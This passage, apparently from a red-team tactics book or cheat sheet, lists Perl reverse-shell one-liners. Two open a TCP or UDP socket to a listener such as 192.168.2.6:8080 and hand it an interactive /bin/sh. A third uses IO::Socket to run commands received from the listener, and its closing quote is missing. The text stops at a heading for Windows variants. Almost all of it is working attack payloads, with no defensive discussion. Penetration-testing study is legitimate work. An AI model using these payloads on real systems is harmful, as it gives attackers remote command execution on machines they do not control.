Hands-On Red Team Tactics

Perl reverse shell

• TCP-based perl reverse shell (/bin/sh dependent):

perl -e 'use Socket;$i="192.168.2.6";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

• UDP-based perl reverse shell (/bin/sh dependent):

perl -e 'use Socket;$i="192.168.0.106";$p=8080;socket(S,PF_INET,SOCK_DGRAM,getprotobyname("udp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

Without using '/bin/sh':

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.2.6:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; 

• For Windows: ...